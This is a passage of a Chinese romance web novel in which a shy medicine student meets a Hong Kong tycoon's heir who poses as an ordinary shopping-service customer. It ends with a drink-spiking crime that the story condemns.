同学聚会在下午,梁尔璐异常犯困,只顾神情木然地喝糖水。
轻轻放置调羹,她稍抿唇瓣残留的甜味。
据说待在客卧的大叔是父母老朋友,这几天来深城出差暂住。
民宿管家收拾起一叠碗勺,汗流浃背。
她确定厨房今日收入完全可以说是全靠这位张嘴却不社交的大胃王。
行为可爱,浓颜五官却具有攻击性,只是恰好被淡素妆容彰显出的破碎感与悲悯感柔和了些,乌发细软微卷,散落在冷白调的颈部皮肤。
周围的一众鲜艳色彩中,她仅仅穿了长袖的及踝白裙,正慵懒窝沙发,由纯黑马甲背心勾勒出纤细腰肢。
耳边异常热闹,梁尔璐走去室外消食,艳阳天泛闷,热意袭身。
盎然森绿洒落树荫,她面向门口杵着,费解屋里扎堆e人依旧满格的社交电量。
察觉旁侧响起接近的脚步声,她转身遇着个笑盈盈的年轻男人,递过一簇带了根须的五瓣小花:“你好,请问订了这间民宿的人在哪?”
“点地梅,咽喉草,白花珍珠草,天星……”花。
梁尔璐眨眼,蓦地停止喃语,重新抬了头礼貌微笑:“是我。”
怎么e人初见就送花呢?
她下意识往右退了退,哪知五厘米高的玛丽珍鞋跟绊在略微高出邻块儿的地砖边沿,人瞬间往斜侧方向栽倒,懵圈失声的同时,双肩被身后横来的手臂稳稳揽住。
但她尚未反应回神,脚打软,只觉身体要往下坠。
谢柏延挑眉,笑瞅好哥们那一闪而过的皱眉。
某个心有所属的暗恋选手就算再怎么嫌烦,不也照样弄个绅士手继续扶了?
衣料单薄,环在整圈腰部以阻拦她往前摔的触感深刻,梁尔璐逃也似,站稳了跑远。
她转头瞥见接听着电话,快步进入民宿的小半个黑西装男背影。
显然不是她能插声道谢的时机。
民宿老板不知何时已站门口,嘎嘎乐:“我好哥们,他包场了,不用你转账。”
眼看男人单手揣了裤兜倒走,冲她丢笑,随即溜飞快。
梁尔璐面露疑惑。
什么怪话。
搞得好像黑西装男在砸钱宠她一样。
不过他还蛮好闻的。
点地梅是一味中药,又名地胡椒。
她刚才闻到男人身上混杂着玫瑰甜的胡椒辛香,刺激性逐渐变得温柔,微醺酒香掺了木质皮革的中性克制感。
魅力值诱人靠近,却留下迅速抽身时的轻慢孤冷。
总之是特别渣男味的一支香水。
*
林瀚睿取过昨天忘在二楼露台的U盘,通知秘书:“炒佐佢。”(解雇他)
挂断电话,听谢柏延吊儿郎当的声线上扬明显:“Hendrix,就是她订的民宿。”
毫无价值的信息,他应得不咸不淡:“嗯。”
“据说你们紫老头如果能喜欢一个人,就是真的会一直对这幸运儿死心塌地。”
“Brielle。”林瀚睿蹙眉,指正,“严格来说,MBTI只是无聊可笑的刻板印象,它的理论逻辑不可能百分百符合任意对应的人类。”
“如果你那位心动女嘉宾也喜欢玩MBTI?”
“她说得都对。”他即答,好吧?
“草,重色轻友。”谢柏延竖中指,“舒明堂离这不算远,你吃得消中药味,真就一次都不去?老板女儿的美貌比起性格,根本不值一提,难怪你喜欢她。”
“喜欢?是爱。为什么去?从不在我日程计划里,Brielle,以后记得用‘爱’这个字。”
好哥们言行举止之间,明明全是所谓的刻板印象……
“知道了,你超爱,一穿西装就必打这个最复杂的领带系法,埃尔德雷奇结?不嫌累?”谢柏延递过捏着的数朵小白花,被嫌弃接入手心的嘴硬恋爱脑林某立刻扔下露台。
虽也算得上轻飘,不至于引发高空抛物意外,但林瀚睿第一时间朝下望,除了徐缓旋飞的花,他视线扫见一片雪白裙角。
刚才光顾打电话,忘记为自己冒昧的肢体接触道歉了。
谢柏延睁大眼,赶紧扯回他有些危险的前倾身体,勾肩搭背:“跟我去后院,有东西给你看。”
而后院一成不变,林瀚睿沉默冷脸,强行被赶出后门,入耳话语的胆量非一般大。
“有意见憋着,车在前门就绕过去,锻炼身体。”
“原因。”
谢柏延自认爱犯贱,但绝对不敢多惹面无表情的林家太子爷,关门拔腿跑,咬牙切齿低声:“当然是防止你看到只能暗恋的暗恋对象之后发疯!”
前院闹腾,梁尔璐坐在落地玻璃窗边的长条桌前,原本单手支了脸颊划拉手机,身侧却突然围来一群同学,欣赏起民宿门口的跑车。
有懂的大少爷在科普:“这辆半亿神车是全球限量20台的超跑,磨砂纯黑版,也就因为是左舵车才上不了港岛车牌,所以挂隔壁澳牌,第二张你们知道是粤澳两地的,第三张能让澳车进港,用得起典型粤港澳三地牌,车主绝对是非同一般的有钱人。”
解释易懂,她跟着多瞧了几眼。
黑车确实酷。
阵阵感叹声中,闺蜜钟敏绮好奇发问:“银银,你刚才不是在外面?看到开车的人没?”
“没看着脸,没听着声音,黑色西装,高瘦肤白,以上,没了。”用无趣的实话实说散掉窒息的社交包围圈,梁尔璐松口气。
同学会?换个地方玩手机罢了。
过会儿她感觉身旁吹来阵风,以及面前的窗帘被“唰”一下拢实。
动手的民宿老板脸色惹急,完事了便转身离开。
她愣几秒才迟疑撩起部分帘子。
望见跑车开远。
这是怕她因为刚才的事纠缠富哥?
所以说她非必要不出门。
下头普信男少自作多情了。
她可是拒绝过正宗港岛太子爷的人。
多待了一阵,梁尔璐接到父亲紧急呼叫打工人的电话。
中医馆距离不远,她挽了雪纺质的松垮衣袖,打伞步行三两分钟,乍眼发现店门口纸箱内探头探脑的猫。
父亲正喂猫粮,称是一个极其舍不得的小女孩,将这只玳瑁遗弃在隔壁还没营业的宠物医院。
地面受烈日炙烤
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发烫,她抱起纸箱进中医馆,就近搬了把前台的椅子到门边等人。
门顶吹下的冷空调劲道够足,摆在双膝处的纸箱因此不太躁动,一人一猫大眼瞪小眼,偶尔互动几番。
低头间,身侧覆来半道阴影,她抬脸,怔怔瞅着宠物医院老板站在墙边。
“流浪猫?”
她下意识小幅度地挪远些肩膀,弯唇摇头:“有人不养了,放你店门口的,我坐这儿等你。”
眼看大半个身体都被太阳照到的男人傻傻盯她,面目迅速染得通红,她尽量自然地平复嘴角弧度,礼貌递过纸箱,扯出令双方都倍感体面的借口:“你别中暑了,快回去吧。”
前台临时请假,梁尔璐重新搬椅子回工位,代替上班,但开启摸鱼状态。
包里有她上午捣鼓甜品时也给自己留的几个盒子蛋糕,勺子避免了脏手,光吃不够,她顺带勾针线活。
是一串铃铛模样的蓝、白花。
林瀚睿收回落在车窗外的视线。
蓝莓花。
他哥喜欢的花。
同款冷银色的方形马口铁盒,几小时前,正充当了他哥视频通话的背景板。
原本只入镜的零碎边角,此刻无限放大。
熟悉的跑车轰鸣声浪迅速响远,足够炸街,梁尔璐稍愣。
跑车发出的动静应该都差不多吧……
*
港岛,大雾山。
夜色深重,各款超跑引擎启动,此起彼伏。
“哎,林家那位可是第一次来这飙车。”
“失恋了?生意场上除了盛家大小姐,横竖也没同龄人敢惹他。”
“金屋藏娇呢吧,连港媒都拍不到他玩女人。”
“车路上也没人敢抢他道啊,你敢吗?你?你?反正我胆小。”
比赛未开始,盛言顾隔了车窗招呼:“Hendrix,太阳打西边出来?”
意料之中,他只收到一张瞧不出情绪几何的平静侧脸。
圈内谁人不知,林瀚睿愿意搭理个表情,已经算是太子爷赏给顺眼对象的莫大恩赐了。
而对特别顺眼的他,太子爷这次冷漠无视。
难得啊,比他这出了名的盛家大小姐还会耍孩子脾气。
“感谢您大驾光临来这里……碍事,我可没兴趣只和你比。”盛言顾紧拧双眉,鸣笛,冲窗外扬手,“Hendrix说了,各凭本事。”
用作飙车的公路长达十余公里,尤其蜿蜒,其中弯道众多。
他没猜错,林瀚睿果然不是新人。
初来乍到却选择了一段老手赌上命才挑战的下坡路,窄、急弯与斜度并存,主打一个烧刹车片的同时烧命。
这还比什么先后?本身双方的跑车性能就早已分出胜负……
盛言顾稳稳跟后边,实在佩服这疯子控制刹车时机的本事。
车子安分,人倒是挺失控。
那又是谁不受疯子控制?
有趣,究竟哪个女人敢惹林家太子爷啊。
聚集在此的富家子弟无不好奇,可惜第一个越过终点的酷炫黑车仍旧没停,尾翼板上横亘着一条火焰般猩红的灯光,片刻匿迹于黑夜。
8. 旧夏日
出了地铁站口,梁尔璐才发现天落雨。
趁穿越天桥的时间,她抓紧打电话:“珩仔,下午跟你说的民宿那下头男先别管,因为晚上又有一个了!就是找我代购奶茶的神仙,社交账号ID是林北,没错,那句骂人的脏话,我现在安慰自己他真名就叫这个,而不是玩梗。”
“林北是吧?我变成TP之前是INFP,是小蝴蝶,但其实我已黑化,是恁蝶,是你爹!奕珩哥哥真讨厌啦,梁奕珩你再笑,我就骂你……你你你——”
抬眼间,目光所及是稍远处身穿白T黑裤的代购买家,她手忙脚乱挂电话,险些咬着舌头。
昨晚双方约定见面的分明不是天桥!
背后吐槽人被抓包什么的……且也不知他听见与否,总归是迟迟没将视线转向她。
梁尔璐悻悻,几度想逃。
港岛的夏夜郁热,雨丝弥漫。
街灯昏黄,与周边店铺招牌的复古浓红相互映衬,男人站在天桥,凝看下方某一隅,侧颊流露的神情浅淡。
和他含笑的视线交汇之际,桥底驶过的叮叮车恰好叮响了两声。
警示一般,像在劝诫她暧昧的心跳再慢些,再慢些。
男人却率先走向她,撑开收拢在掌心的黑伞,单独倾斜在她这处。
经伞面隔断的雨点敲出更大声音,咫尺远近引发的惊颤感瞬间滋生。
梁尔璐局促退出几步,眨眼躲闪微风中乱斜的雨线。
以及男人温润的注视。
她这单方面的一退,二人之间到底是比正常的社交安全距离愈加远了,并不方便交接奶茶。
男人唇角依旧挂着柔和的笑意,没强迫她共同避雨,改为独自撑伞,毫无主动上前拉近距离的冒犯意思。
是只能她过去的局面。
但仍然有一种被强迫的感觉是怎么回事……
她琢磨着挪走,思路始终绕不通,牵连得脚步相绊:“哎不是——”
25岁,平地摔撞在陌生男人的胸膛上。
仿若捱烫般,梁尔璐赶紧松开忙乱中攥稳男人胳膊的五指,条件反射地抬手捂额头,秒速逃远一段间隔。
她睁大眼傻怔,勉强分析出他温雅五官传递的“没关系”信息。
想道歉来着,但嘴愣是小幅度张合,不听脑子使唤。
有关系。
她八成不适合出门,保不齐哪天真的会摔死。
“这这,这个给,给给你!”完全来不及戴e人面具,梁尔璐几乎要哭,仅仅远程伸长了手,递去纸袋,“你过来,我我我过去会死的!”
她稍微抿唇,压下丢人的眼泪。
视线不至于变模糊。
男人额发乌黑软顺,下方的剑眉英气,含情双眸弧度略弯,缓和了原本清癯面廓的刺感,也将桃花眼自带的深情收敛成恰到好处的度,竟意外温柔纯良得勾人,薄唇衔起的笑容因此被显得多真诚了几分。
拜托,就这堪称典型渣男脸的桃花相。
仙品!
出门遇到神仙的惊喜令梁尔璐第三次后退。
正慢慢走近,却随她这动作停止的男人浅了些笑容:“你很惊讶,认识我?”
“不……”她顺带摇头,察觉他重新笑回原样。
脸长得不够大众化,她不可能见过。
谦虚帅哥还真会开玩笑。
天穹倾落的雨水密匝稠浓。
结束错愕的劲儿,梁尔璐又伸手,勾住袋环的几根指头一会儿就轻,但取到奶茶的男人没停,直到所撑的伞再次拢覆她。
浓烈夜色与纯黑伞布掩映的阴影落在周身,她仰脸对上他琥珀色的瞳孔,后知后觉迈腿。
“再退就会踩空天桥楼梯。”
梁尔璐下意识跨近半步,转身望向危险的台阶边缘。
挨得近了,林瀚睿想起她刚才摔时扑面而来的发丝气息,荔枝味中揉入玫瑰香,清甜不腻,相比下午已经淡化少许。
“ID的事对不起,但林北的意思是?”
“什么?”梁尔璐严重怀疑神仙家里没通网,扭回头就忘了乱七八糟的社恐社牛,只丢男人一个难以置信的表情,“你爹,你爸爸的意思,是闽南语里‘恁父’、‘恁爹’的普通话谐音,你不知道就没必要道歉了,嗯……今天合作愉快。”
“合作愉快。”
迟疑接过伞,她凝看男人被雨水陆续濡湿了的白色衣料,深暗渍迹明显。
难免会碰触到他握伞柄的手指。
偏凉。
她留住渐远的背影:“林先生。”
男人应声转来,照旧弯唇。
熟悉感漫上心头。
其实她一直莫名觉着男人展现的笑意处于浅表,并不达眼底?
用作敷衍社交的疏离假笑吧,倒也正常。
梁尔璐瞧不透,没再重点打量他双眼流露的情绪,而是望向天桥下交错的车流。
穿搭时尚,却像家里断网。
甭管是无意间闹出乌龙,亦或是有意装蒜,她对这个浑身都透着浓郁新鲜感的男人很感兴趣。
她急于了解他。
好想。
好想。
好想……占有他。
但说实话,她完全分不清这种异样的迫切,该归结于一见钟情还是兴趣盎然。
哪怕动用了欲望背后尚存的
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理性,她仍无法区分喜欢和兴趣。
“抱歉让你等这么久。”梁尔璐皱眉,放弃暂时无果的追究,“你明天想让我带什么?”
她看到男人垂落些眼皮,神情是思忖状,睫毛翕动频率偶尔会多停滞小会儿。
稍稍才继续抬望来,笑容意外沾些孩子气,白净脸色随之红润了一点:“我明天想喝最近网上很火的中药房奶茶,酸梅汤。”
“这个健康但多喝也不好,是药三分毒。”梁尔璐语塞,寻思靓仔家里原来没断网,“合作吗?我第一次干这行,每次都找不同的代购客户很麻烦,我们固定买卖关系怎么样?”
“以后我会去找你。”
男人的态度尤其爽快,口吻却算平淡,琥珀眸子一成不变,并未流转任何起伏的别样光采,惹得她僵愣在原地。
倒也不是说这样的组合奇怪,就是有难以言喻的违和感。
“内地到港签注的一周一行规定,对你来说更麻烦,我的回乡证没停留限制。”
梁尔璐依旧怔。
她当下对接近他的念头太深刻,确实忽略了这一关键制约点。
“我不喝冰饮。”
明明只是单纯的提出合作诉求,她竟认为男人的压迫感过于强烈了。
与温柔的笑容……不相符。
梁尔璐不自觉地回避他视线。
虽然冒犯他,但确实满脑子充斥着蟑螂步步逼近时带给她的恐惧。
问题是她现在无路可退。
无处躲藏也就算了,伞柄又好似烫手山芋,梁尔璐收紧五指:“啊你,呃不是!晚点给你发我家地址,那个……什么汤一定新鲜热乎,拜,拜拜!”
啊——
救命!
酸梅汤都能忘,她闭眼暗骂自己丢人,二话不说往男人肩膀位置塞去伞,溜之大吉。
天桥楼梯偏偏那么长,跑不完的程度,恰好每一级印有五彩的奥运会元素,特别应景。
脸上细密的湿意消失,林瀚睿没点进两个微信联系人的聊天框,各自扫了半眼。
【弟,听说有人用林北做ID】
【太子爷,小谢子替你点的深城奶茶好喝吗】
不予搭理,他撑伞缓步下天桥。
在高处,能轻易望见远方夜色内慌张的一抹白。
宽阔伞沿遮挡大部分街市灯光,男人未再收敛眸中的侵略性,浓郁占有欲逐渐染深了琥珀浅瞳。
道路因雨水而潮黏,垂落花坛外的柔草难以承受叶面水珠积重,连续滴落,浸得地表更加阴湿。
险些踩踏附近坑洼的行人被同伴扯远:“夏天要离绿化带远点啊,万一有蛇盯上你了。”
9. 旧夏日
梁尔璐琢磨了整晚喜欢与兴趣的区别,下睑浮出失眠的淡青。
“我大清早坐飞机回来,都没你离谱。”梁奕珩往玄关放好最后一个搬家的纸箱,“尔璐妹妹,现在是下午,昨晚跟人打架去了?”
“对对对,我和我自己打架。”她捂嘴打哈欠,轻揉酸涩泪眼。
昨晚初见“林北”帅脸的一瞬间,特别快啊,她当场就很想欺负这男人。
愿望成真的速度令梁尔璐难以置信。
原本已经在拼命打消这个念头,但架不住他怪得有趣。
长期观察奇怪人类的前提是她绝对不能吓跑对方,因此中医馆老板、茶楼老板娘兼包租婆的梁家继承人身份必须藏住了。
母亲连夜给安排了个户型中等的小区,假人设更是合理,富人家保姆的女儿。
她搁沙发坐起些,瞅眼好兄弟拿近的手机,女人完美入戏的声线透过免提音量,比平时更情绪稳定:“梁尔璐是吧,我发现你在舒明堂的一年实习期已满,以后不用来看店了,工资照发,每月五次外卖,独居注意安全。”
刚亲热喊了半个“妈咪”,挂断音狠狠打她脸:“珩仔,你不准笑!你看梁女士越演到后面越难绷。”
“大小姐,我回深城是打算去你学校对面的美院做讲师。”
梁尔璐往身旁递过杯水:“我可是你家保姆的女儿,少爷,你博士毕业留本校任职不是最优选?说说是同一个大学城面对面,骑自行车还得将近半小时。”
这好兄弟是七岁认识至今的太子爷朋友,只大她半个月,某天到茶楼吃饭,再就玩顺眼了,六年级为了方便和国画家教写生,全家搬去山地丘陵更多的海西定居,上学跳级,本硕博期间干脆多年北上,深城的别墅都快被灰尘埋了。
“我喜欢你这边,毕竟是老家。”
“家……啧。”梁尔璐转向他,眨巴着多瞅两眼吃惊后仰的男人,撇嘴,“干嘛?我又不是真的坏女人,家这个事情很严重,我昨晚脑子抽住说错话,不小心把那个反向代购的男客户约到家里交易了。”
“但你家是全市豪宅小区里的天花板中板。”
梁奕珩不动声色地避了点儿远,垂眼喝水,再抬看她时弯唇:“确实傻得可爱。”
“哼,让你害怕的坏女人怎么会可爱呢?”一直聚少离多,好兄弟斯文的隽秀相貌还挺新鲜勾人,梁尔璐毫不客气地打量几遍,“靓仔好好休息,我煎酸梅汤去,也有你的份哦。”
*
代购交货时间约在晚上六点,夏日昼长,天光依旧亮堂。
已有好些吃饭早的中老年人在小区门口车路散步,树荫下三个年轻人略显格格不入。
梁尔璐对眉眼温温挂笑的男人递过厚实礼品袋:“林先生,我学中医的,所以药方和药材也放了,你可以自己做。”
丝毫不给道谢的机会,梁奕珩优雅摇晃着红酒杯内的酸梅汤,扬起嘴角:“你好。”
“你好。”
眼瞅双方这突兀的客套,梁尔璐额头冒黑线。
招呼完不够,甚至一直微笑对视?
她疑惑,左右张望两人。
好家伙,斯文败类和渣苏在用眼神交流什么?
交流隐形眼镜与框架眼镜?
奇奇怪怪的……反正她两种都戴。
后者的黑色鸭舌帽不知何时稍高了些,露出男人更多白皙额头。
昨晚夜色重,梁尔璐这会儿借充足光线,发现他骨感的左手食指戴了一枚版型略宽而内嵌单颗小钻石的戒指,整体不算招摇的风格,若是不仔细看,与素圈戒没区别。
但她瞧不出通体是银质或铂金。
“啊对!我送你一段路吧?”第二单交易圆满结束,该各回各家。
“没关系,你们不用为了我分开。”
嗯?
梁尔璐怔住。
出声回应的渣苏男正保持笑容,缓缓摇头。
琥珀色的瞳孔虽浅淡清透,但实在沾着些诱人的迷离感。
对面喝假酒的斯文败类男同样笑盈盈,却立刻转身:“尔璐妹妹,那些没情调的路人拿我当疯子,我先回家了,换成绿茶杯喝酸梅汤。”
啊?
“你误会了!他是我……”梁尔璐左右寻思也没必要说什么保姆女儿,针对凹陷的身高落差,她站上树坛的底座弥补气势,“朋友,哪来的对象,我男朋友还在外面飞呢,林先生,之后几天我都要出远门,合作暂停,那我送送你吧。”
深知存在私心,她使出诚意满满的社交利器。
腻死人不偿命的露八齿标准娇憨甜笑。
因此加深了笑意的男人低头查看手机:“稍等。”
梁奕珩只发四字——
【隔这茶呢】
那又怎样。
林瀚睿手速翻飞,秒回。
长指摁键锁屏,他抬眼温声:“抱歉。”
梁尔璐摇摇脑袋,跳下树坛,歪头错愕于男人伸来的手:“哦,我今天不会摔了的。”
“林先生,你以后不用付我代购费。”还没走两步,她想起这茬。
他只用笑容充作应答,梁尔璐仅拿鼻音疑惑。
“既然你做出这个决定,意味着在你客观衡量中,我对你而言,更具有额外的利用价值。”
换个人或许已经拒绝,并和她浪费时间客套了。
这聪明家伙倒是一直目视前方,气质淡然,腔调清悦,不急不缓却高效率。
仰看他平静侧脸小会儿,梁尔璐撤了视线盯地面:“谢谢你,袋子里还有一瓶我妈咪做的荔枝酒。”
“因为爸妈让我出门多社交练练胆子,要求每个月达成四单深港反向代购,所以我昨天就打算逮着你薅了。”
绯红与雾粉色错落交织着的落日霞光倾洒万物。
她重新打量男人喜怒不形于色的半张五官:“我只送你到那个十字路口。”
到底瞧不出个所以然来,她垂头,稍扭柳叶般细眉。
丧气间,听男声笃定:“你看起来很热。”
梁尔璐怔怔,神情渐显迷惑,双颊透红:“嗯。”
“想要我怎么做?”
男人顺势停下脚步,转身面向的动作令她微微张嘴,无措地难以组构字句。
随后有帽子落在头顶,遭到轻力按压的发绺
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在耳际偶尔生出痒意。
“这样,够吗?”
一时屏住的呼吸没敢怎么吁出,梁尔璐清楚眨眼频率因惊讶而缩短一些,受牵连的目光急于避开,却好似被男人直对的视线胶着。
她无法压制声线的颤:“够……够了。”
正想拉开双方距离,男人抬眼启唇:“那边好像有人在看着你。”
“啊!”捂嘴挡了惊呼,梁尔璐条件反射靠近他,挨在身侧低垂脸。
“走掉了。”林瀚睿不解,眼看她面露余惊,直到松开手也浑然不觉究竟攥过一个什么东西的茫然模样,“我们什么都没做,你怎么这样害怕?”
“你知道自己都说了些什么吗?”
心动女嘉宾目瞪口呆时特别可爱,他收敛眸中因此涌流的眼波:“说了人话。”
“那你倒是蛮有dirty talk天赋的……”
虽只是轻微的喃语,林瀚睿照样听清:“脏话?我不说脏话。”
“救命,你耳朵要不要这么灵!”梁尔璐捂脸几秒,局促眨眼,“这个可以理解为炒菜时调情的话。”
“炒菜时调情?厨房重地不应该这样本末倒置。”
轰——
脑子炸了。
她薄脸皮也几乎热炸。
“买可乐时调情。”梁尔璐继续解释,怎么看男人净如白纸的面容都不像假装导致。
“大庭广众调情?做什么事的时候都要调情?”
不是哥们。
能不能先看看她羞红到爆的脸,再重新考虑正确答案啊?
哥们家里到底断网没啊?
梁尔璐咬牙,豁出去了:“做.爱的几种委婉说法。”
“对不起!”
“我的错我的错!以前好奇了解过DT,比较应激。”她错了,真的错了,根本不敢多看他喉结滚动之后向旁边撇开的脸,以及满是歉意的表情。
这年头,这种纯情男人也是挺绝杀的……
像颜料落纸,他干净无波澜的白皮肤沾染绯红,瞳孔颤起灵动却脆弱的鲜明破绽,眼睫好似蝶翅,轻拂晶亮星幕一般。
目光躲闪的无措劲儿惹得她坏女人心思作祟:“林先生,你反省反省吧,刚才青天白日且大庭广众地做.爱。”
连带耳尖都涨红欲滴,与丝绺沉静的黑发对比明显。
横竖不能把他欺负狠了,梁尔璐愧疚抿唇:“对不起啊,拜拜。”
得了男人一声轻“嗯”,见他利落往前走。
她踉跄后退半步,小心翼翼往外呼出羞赧的情绪。
这种距离下,她才敢将自己变得透明,任由破绽发野一样溅裂。
炙烤将近整天的环境蒸腾热气,夏日躁动,却引人困倦,厚重树荫依然消不了多少暑气。
梁尔璐没动,歇下打哈欠的感觉,湿润眼睛望见夕阳呈现浓烈的橘红,投落在路口拐角处。
柔光连片覆盖路面,风声澌澌,从叶隙穿透到地的圆形亮斑簌簌攒拥,平缓流泻中,高大车影蓦地横贯而过,几秒后出现一个靠近的人影。
公交车门闭合与引擎起步的动静吵闹,混入纷乱蝉鸣。
10. 旧夏日
家里的空调也难以消弱心间烦躁,梁尔璐灌了口冰水:“珩仔,你站窗边干什么?看到了吧,他真的帅炸天。”
“帅。”
看到了。
他看到了。
全网范围内,已经无法搜索到涉及腾先地产太子爷各角度隐秘照片或相关词的新闻了。
林瀚睿装穷的手段,恐怖如斯。
走近茶几,梁奕珩把高脚杯丢进垃圾桶:“不是好货色。”
“也没破啊?怎么会有太子爷嫌弃送人的礼物质量差……”但被捡回,一双莹润剪水瞳子,怨怼直瞅懒坐沙发的他。
“好兄弟,哥们请你吃大餐。”
搬家一天,梁尔璐觉着是有些饿:“嗯,不过你刚才怎么阴阳怪气骂他是绿茶,以前我们那么多次被误会成情侣的时候,都没见你反应这么大过。”
“男人的第六感。敢情你这就开始心疼上他,护上他了啊?我真服了你,心疼男人倒霉一辈子!傻妹妹,他除此以外再没卖弄其它茶艺经典句式?装柔弱这招必杀技使了没?不会吧不会吧?小绿茶一定忍得很辛苦吧?”
“柔弱?”准确抓取关键词,梁尔璐回忆思忖,“他脸色看起来是病恹恹的……唉,没,都没,你个癫公少发疯,我才服了你。”
好兄弟不愧是太子爷,称昨晚便上下嘴皮子一碰,将五星级颐林酒店的露天花园包场了,餐桌隆重安排在二楼偌大的露台。
精心布置的鲜花主题浮夸,清香融于黑夜,萦满夏风。
捧花爱不释手,但她就爱唱反调:“我更喜欢路边摊,同样是喂蚊子。”
“呦。”侍者陆续上着餐点,梁奕珩也待去弧形扶拦边,含情眼凝向望星星的女人,“来这吃是因为哥们为你安排了一场无人机秀,庆祝从现在到未来,我们是会真的生活在同一片天空下。”
“嗯?珩……”夜幕净朗,闻声正往右转的双眼却忽然被捂住,梁尔璐轻嚷,“搞这么神秘,我戴隐形眼镜还真是便宜你直接上手了。”
“妹仔,安静。”
让她安静的人倒是吹出声口哨。
梁奕珩垂眼注视楼下酒店员工跟着的西装男。
因他招呼而仰头望来的林瀚睿同样面无表情,三两秒之后浅度弯了眉眼,抬起指腹在唇前,作噤声嘘状。
身后众人循其视线,全部陆续看向二楼的他们,当即了然地快步离开现场。
直到无关人士尽数消失在拐角的树沿,林瀚睿一直衔有笑容。
梁奕珩清楚感受到了迎面的倨傲。
看多男人嘴角保持的弧度,入眼的轻蔑感逐次转浓。
分明是仰望,姿态却高高在上,不过暂时还算有些耐心,仍愿意套着温润优雅的壳子周旋。
他扬起并未捂眼的右手,掌心向内,搁放脸的前面,左右挥了一下。
林瀚睿则是仅用单根手指平直戳在太阳穴位置,深些笑意。
梁奕珩倏地无声冷笑。
这两种外国手势无一不是在说同一个意思——
你疯了。
结束交流,他等林瀚睿的身影完全不见,才放开梁尔璐:“我马上回来,饿了先吃,不用等。”
被遮得久了,眼睛甚至没能很快适应餐桌处的微弱烛光,梁尔璐只模糊发现好兄弟消失在露台门边。
按照收的微信消息,梁奕珩找到CEO办公室:“最好是我疯了。”
男人好整以暇,沉默坐办公椅,略低头,右肘支于扶手。
“坐。”
不坐!
客套什么呢?
臭弟弟压根就没搭理他半眼。
忙着玩花切牌……
首末两指间捏着的三四张扑克旋转到与地面垂直时,停下。
左手小指往右拉开掌心内牌叠的最上面一张,前者与之相触并继续旋转半圈后,全部归入这单张下方。
待这单张也随之彻底落平,林瀚睿抬头对视:“哥。”
滞顿的每秒犹如缓化。
他将收好的一叠整齐牌往办公桌随意扔去,有条不紊地站起:“显然是你。”
“放弃你情急之下对我做出的愚蠢猜测。”递过冷声,林瀚睿转身,窗外的无人机秀属实热闹,“绝对不会发生你担心的事。”
“哥。”
“我也很宝贝她。”
梁奕珩皱眉。
无人机秀的图案均采用他自绘的Q版画,幅幅来源和梁尔璐的童年相处瞬间。
其实他从来不缺机会。
但明显,永远只能预见他一厢情愿的爱情在宝贝那儿碰了一鼻子灰。
漫天的无人机尚且能够此起彼伏,他只可以落,再落。
触底深埋,藏进心里。
无人机纷纷落幕,林瀚睿凝视被城市灯火强行照亮的黑夜,身后桌面的手机响起震动音效。
电梯下行到豪华套房所在楼层,门卡系统运作迅速,室内多个区域都暗淡无光,厚重窗帘掩出沉闷死气。
卧室中的倒是留有一条窄缝,明度仅达旖旎的暧昧程度,恰好能映出靠坐在床沿地板的女人背影。
林瀚睿唇角讥讽的幅度瞬间消失,开灯动作骤停,快步赶去将瘫软无力的昏迷人揽入怀里。
怎么会是……
梁尔璐学医,不可能和利用招聘秘书幌子给企业高管找.性.伙.伴的猎艳团伙产生接触。
抱起她将要迈步时,他却遭受反向牵绊力的严重妨碍,细看是长垂裙摆一直遮住了束缚左腿腕部的脚镣。
材质属于肉眼可见的触感粗糙,扯动的劲道也偏大,该是导致梁尔璐疼痛,已有醒转的迹象。
林瀚睿鲜少遇事惊慌,眼下随着她轻微发颤,欲睁的睫毛,再三拧深了眉。
暂时把人放去软乎的被褥,他借助微弱光线,翻找床头柜面仅供豪华套房及以上等级房间客人的赠品堆,从一个沉香木雕纹方盒内取出黑色香云纱丝巾。
寻思将此时此景演变为更下流的自己,林瀚睿咬实后槽牙,用蒙眼的丝巾在梁尔璐脑后打成结。
期间频繁蹭到她软滑的头发,细碎引痒。
屋里冷气调得一般,怀中熟悉的玫瑰香因体温升高而氤氲,丝缕逸散,掠夺他寡淡呼吸。
脚步略沉,他徐缓后退,直至贴紧了墙。
肩背处毫无防备的撞击突兀,仿佛仓猝失序的心脏亟待跳出严密齿关。
联系完梁奕珩,林瀚睿正打算再通知秘书向猎艳团伙索要脚镣钥匙,对面半支起身体的迷糊女人抬手伸向丝巾。
忘记缚手了。
不,腿也不是他缚的。
攥拳强压躁动,林瀚睿转身离开。
却见梁尔璐无力落了手,重新摔陷进床单,剧烈咳嗽诱发的呼吸异常短促。
怀中人轻微颤栗,呛喘声嘶涸,眼看硬硌嫩肤的西服袖扣被她拼命揪紧,林瀚睿撬开关节发白的五指,掌心上移,覆上她过度通气的口鼻。
触觉敏锐的内部不消片刻,由近距离连续呵出的热息,混乱成了黏灼潮湿的环境。
昏迷不良反应渐渐转为平和,外间传来的脚步急慌,林瀚睿抽离与梁尔璐的一切触碰,在卧室门侧同梁奕珩擦身而过。
楼层走廊灯亮如昼,他眸色泛浓,死死盯视手掌心沾染的清稀涎液。
*
翁秘书总算在老板几分钟前嘱意赶赴的监控室等到人,麻利搬过椅子。
老板落座,向前方受保镖控制的皮条客稍微倾身,笑容温得发瘆:“钥匙,摄录设备的位置。”
“钥,钥匙……包厢那个传传传媒公司总经理手里,摄像头贴,贴天花板上了!”
“给她吃的药,剂量,正常剂量。”
“酒里放了四片三.唑.仑,比正常多了两片,林先生,对不起!我真不知道她是你的人,对不起!对不起!”
“boss,据说是原本约的求职女大学生没
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来面试,她太郁闷就去花园逛,看见了在二楼露台拍无人机秀的……”是梁家小姐没错,但翁秘书琢磨着仍然说出皮条客活腻了的原话,“高级货,临时买通一楼的侍者下药,指纹解锁梁小姐手机,给梁先生发送有事要先走的消息。那我去送钥匙了。”
监控室昏暗,经过出入门的亮源是唯一强光,但也转瞬即逝。
林瀚睿起身,换了地方坐,面朝满墙电子屏幕:“见到警察,你会再把她牵扯进这件事吗?”
“林先生,我知道该怎么说的!”
“嗯,走吧。”
男人平静操作键盘鼠标,落声始终轻飘,却重重压裂女人几乎崩断而强撑的惶然心弦。
翁秘书惊恐万分,来之前还纳闷钥匙是什么钥匙呢,现在只能硬着头皮,拼命翘飞了手指地解开脚镣:“丝巾怎么在外面……梁先生,小姐一直昏迷?医生,你们把嘴闭严实,但眼睛要看仔细,林总重点关注这件事。”
“不知道,你老板刚走的时候还有些意识,没几秒晕了。”梁奕珩啧声,“丝巾?蒙眼睛用的。”
